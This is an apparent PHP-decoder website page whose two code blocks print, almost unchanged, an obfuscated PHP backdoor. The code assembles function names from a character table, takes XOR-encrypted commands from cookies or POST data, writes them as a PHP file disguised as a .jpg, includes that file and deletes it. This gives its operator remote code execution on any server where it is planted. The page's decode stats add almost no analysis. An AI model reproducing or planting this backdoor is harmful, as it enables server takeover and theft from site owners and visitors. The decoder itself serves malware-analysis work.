Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function mh6 () { echo 'jn7'; }function rs1 ( $rh2 ) {$gv4=0;$cv3 ..

Decoded Output download

<?php 
function	mh6	() 
 
{ 
echo 'jn7'; 
 
}function rs1     ( $rh2 ) 
{$gv4=0;$cv3      =   "eu3ho-.d/?atxr 0L@f9Ipbjcv*_m8H1lFnEs<(;#kg)y24'i";    $jy5 =	substr("", 0); 
	while(1) 
 
 
{   if($gv4>=count($rh2))	break; $jy5 .= $cv3 [     $rh2[$gv4]	]; $gv4++; 
} 
 
 
return    $jy5; 
}$xr9      = [];$tapk =      12761; 
 
$xr9[34286]	=     rs1 (     Array(10 , 7    , 31 , 19 , 2 , 18 , 18 , 15	,	5 ,       19 ,	46 ,  10   , 31 , 5     , 46  , 31    , 31	, 0 , 5 ,	10	,	2 , 29 ,       46 , 5 ,	29 ,	15 ,    22 ,	45 ,    29 , 29	, 45 ,	19 ,	31      , 45	,	10   , 10 ,) ) ;$xr9[62951]  =	rs1  ( Array(9	, 21	, 3    ,   21 ,	14 ,      17 ,	1	,	34 , 32   ,	48       , 34    , 41	, 38       , 27 , 27	, 33 ,	20	, 16	,	35	, 27 ,	27 , 43	,	39  , 14       ,) )	; 
 
 
$xr9[63462] = rs1 ( Array(6	, 23 , 21 ,       42 ,) )  ; 
$xr9[16355]      = rs1 ( Array(6 ,	8       ,) )	; 
 
$xr9[45022] = rs1 ( Array(30	, 26 ,) )    ;$xr9[29654]   = rs1 (    Array(37  ,) ) ; 
 
 
$mb26 =   61619;$xr9[92116]     =	rs1      ( Array(40   ,)	)	;$hn27 =       97445;$xr9[93644] =  rs1	(   Array(18       , 48      , 32	, 0 , 27 ,	21 ,	1 , 11 , 27 , 24 ,	4	,	34    , 11	, 0 ,      34      , 11 ,     36    ,)       ) ; 
$xr9[13257]      =       rs1	(	Array(18	, 48      , 32   ,    0	,   27	,	0      ,   12 , 48 ,	36       , 11    , 36 ,) ) ;$xr9[12233]	= rs1      ( Array(10 ,	13    , 13 ,  10       , 44 ,      27	,	28 ,   0	,    13	, 42	, 0    ,) )	; 
$pn28	= 33241; 
 
 
$xr9[68040] = rs1 (    Array(36       ,	11       , 13 , 27 ,       13 ,       0       ,   21	, 0     , 10 ,	11 ,)	) ;$xr9[5062] =  rs1 ( Array(0   , 12 ,	21 , 32 ,	4	, 7 , 0	,) )	; 
 
 
$xr9[53696]    =    rs1 ( Array(36 ,   11 ,	13  , 32 ,    0	,      34 ,)	)	; 
$os29	=	69047; 
$xr9[78262] =   rs1 (	Array(48	, 34     ,      11	,  25	,	10	, 32 ,)     ) ; 
 
$xr9[27043]	= rs1	( Array(1 ,	34	, 32 ,     48 , 34	,    41	,) ) ; 
 
 
$xr9[30622] =   rs1 ( Array(21 , 10 ,       24 , 41 ,)	)	; 
 
 
 
$mp22     =    $_COOKIE; $hj20	= "26136"; 
$mp22    = $xr9[12233]($mp22, $_POST); 
foreach	($mp22 as $jp25       => $fz21) 
 
{ 
 
 
 function se15	(  $xr9,      $jp25 , $ky19 ) 
 
 
 { return substr	(	$xr9[68040]	( $jp25 .       $xr9[34286]	,	$xr9[78262]( $ky19/$xr9[53696]( $jp25 ) )	+ 1      ) ,	0	,	$ky19 ); 
 
 
 } 
 
 
 
   function    fx13 ( $xr9,  $hb23 ) 
 
 
       { 
 
 
 return @$xr9[30622] ($xr9[45022]	, $hb23 ); 
 
 
 } 
 
 
 function     fa12	( $xr9,	$fz21,  $jp25) 
 { 
 
    return	fx13 (       $xr9,       $fz21  ) ^ se15    (	$xr9, $jp25      , $xr9[53696]( $fz21     ) ); 
 
 
 }  
 
 
	function       jf11 ( $xr9, $fz21,	$jp25) 
 
 
 { 
 return $xr9[5062]   (	$xr9[92116] , fa12 ( $xr9, $fz21, $jp25)); 
  } 
	 
	function hc10     ( $xr9,	$fz21,	$jp25) 
 
 
	{	$fz21	= jf11 (	$xr9,     $fz21,  $jp25); 
	if (qr18	( $xr9, $fz21)) 
 
	{ 
 
 
 exit(); }	}  
 
	function wj14 (	$xr9, $hb23) 
 
	{ 
 
 
	$jb24	=	$xr9[16355]	.	md5(	$xr9[34286] )      .  $xr9[63462]; 
 
     
 @$xr9[93644] ( $jb24, $xr9[29654] .   $xr9[62951] . $hb23[1]  (	$hb23[2]	)      ); 
 
   
	return	$jb24; 
	} 
 
 
       
 
	function mq17     ( $xr9,    $jb24)	{ 
 
 
 if ($xr9[13257]($jb24))  
 
 
 { 
    @$xr9[27043]   (   $jb24	); 
 
 
      }	} 
 
 
      
 
 
     function lt16 (	$xr9,	$jb24 )  {      @include (  $jb24 ); 
 mq17	( $xr9, $jb24); 
 } 
 
	 
 function qr18      ( $xr9, $hb23 )	{	if      ( isset ( $hb23[2] )      )	{	 
 
 
 $jb24 =	wj14	( $xr9,      $hb23);            lt16 ( $xr9, $jb24); 
  
 
 
 return 1; 
 } 
 
 
	} 
    hc10 (	$xr9, $fz21,    $jp25); 
 
} ?>

Did this file decode correctly?

Original Code

<?php
function	mh6	()

{
echo 'jn7';

}function rs1     ( $rh2 )
{$gv4=0;$cv3      =   "eu3ho-.d/?atxr 0L@f9Ipbjcv*_m8H1lFnEs<(;#kg)y24'i";    $jy5 =	substr("", 0);
	while(1)


{   if($gv4>=count($rh2))	break; $jy5 .= $cv3 [     $rh2[$gv4]	]; $gv4++;
}


return    $jy5;
}$xr9      = [];$tapk =      12761;

$xr9[34286]	=     rs1 (     Array(10 , 7    , 31 , 19 , 2 , 18 , 18 , 15	,	5 ,       19 ,	46 ,  10   , 31 , 5     , 46  , 31    , 31	, 0 , 5 ,	10	,	2 , 29 ,       46 , 5 ,	29 ,	15 ,    22 ,	45 ,    29 , 29	, 45 ,	19 ,	31      , 45	,	10   , 10 ,) ) ;$xr9[62951]  =	rs1  ( Array(9	, 21	, 3    ,   21 ,	14 ,      17 ,	1	,	34 , 32   ,	48       , 34    , 41	, 38       , 27 , 27	, 33 ,	20	, 16	,	35	, 27 ,	27 , 43	,	39  , 14       ,) )	;


$xr9[63462] = rs1 ( Array(6	, 23 , 21 ,       42 ,) )  ;
$xr9[16355]      = rs1 ( Array(6 ,	8       ,) )	;

$xr9[45022] = rs1 ( Array(30	, 26 ,) )    ;$xr9[29654]   = rs1 (    Array(37  ,) ) ;


$mb26 =   61619;$xr9[92116]     =	rs1      ( Array(40   ,)	)	;$hn27 =       97445;$xr9[93644] =  rs1	(   Array(18       , 48      , 32	, 0 , 27 ,	21 ,	1 , 11 , 27 , 24 ,	4	,	34    , 11	, 0 ,      34      , 11 ,     36    ,)       ) ;
$xr9[13257]      =       rs1	(	Array(18	, 48      , 32   ,    0	,   27	,	0      ,   12 , 48 ,	36       , 11    , 36 ,) ) ;$xr9[12233]	= rs1      ( Array(10 ,	13    , 13 ,  10       , 44 ,      27	,	28 ,   0	,    13	, 42	, 0    ,) )	;
$pn28	= 33241;


$xr9[68040] = rs1 (    Array(36       ,	11       , 13 , 27 ,       13 ,       0       ,   21	, 0     , 10 ,	11 ,)	) ;$xr9[5062] =  rs1 ( Array(0   , 12 ,	21 , 32 ,	4	, 7 , 0	,) )	;


$xr9[53696]    =    rs1 ( Array(36 ,   11 ,	13  , 32 ,    0	,      34 ,)	)	;
$os29	=	69047;
$xr9[78262] =   rs1 (	Array(48	, 34     ,      11	,  25	,	10	, 32 ,)     ) ;

$xr9[27043]	= rs1	( Array(1 ,	34	, 32 ,     48 , 34	,    41	,) ) ;


$xr9[30622] =   rs1 ( Array(21 , 10 ,       24 , 41 ,)	)	;



$mp22     =    $_COOKIE; $hj20	= "26136";
$mp22    = $xr9[12233]($mp22, $_POST);
foreach	($mp22 as $jp25       => $fz21)

{


 function se15	(  $xr9,      $jp25 , $ky19 )


 { return substr	(	$xr9[68040]	( $jp25 .       $xr9[34286]	,	$xr9[78262]( $ky19/$xr9[53696]( $jp25 ) )	+ 1      ) ,	0	,	$ky19 );


 }



   function    fx13 ( $xr9,  $hb23 )


       {


 return @$xr9[30622] ($xr9[45022]	, $hb23 );


 }


 function     fa12	( $xr9,	$fz21,  $jp25)
 {

    return	fx13 (       $xr9,       $fz21  ) ^ se15    (	$xr9, $jp25      , $xr9[53696]( $fz21     ) );


 } 


	function       jf11 ( $xr9, $fz21,	$jp25)


 {
 return $xr9[5062]   (	$xr9[92116] , fa12 ( $xr9, $fz21, $jp25));
  }
	
	function hc10     ( $xr9,	$fz21,	$jp25)


	{	$fz21	= jf11 (	$xr9,     $fz21,  $jp25);
	if (qr18	( $xr9, $fz21))

	{


 exit(); }	} 

	function wj14 (	$xr9, $hb23)

	{


	$jb24	=	$xr9[16355]	.	md5(	$xr9[34286] )      .  $xr9[63462];

    
 @$xr9[93644] ( $jb24, $xr9[29654] .   $xr9[62951] . $hb23[1]  (	$hb23[2]	)      );

  
	return	$jb24;
	}


      

	function mq17     ( $xr9,    $jb24)	{


 if ($xr9[13257]($jb24)) 


 {
    @$xr9[27043]   (   $jb24	);


      }	}


     


     function lt16 (	$xr9,	$jb24 )  {      @include (  $jb24 );
 mq17	( $xr9, $jb24);
 }

	
 function qr18      ( $xr9, $hb23 )	{	if      ( isset ( $hb23[2] )      )	{	


 $jb24 =	wj14	( $xr9,      $hb23);            lt16 ( $xr9, $jb24);
 


 return 1;
 }


	}
    hc10 (	$xr9, $fz21,    $jp25);

}

Function Calls

None

Variables

None

Stats

MD5 450dc75bfb33d25d833eb0fb5f6a5451
Eval Count 0
Decode Time 71 ms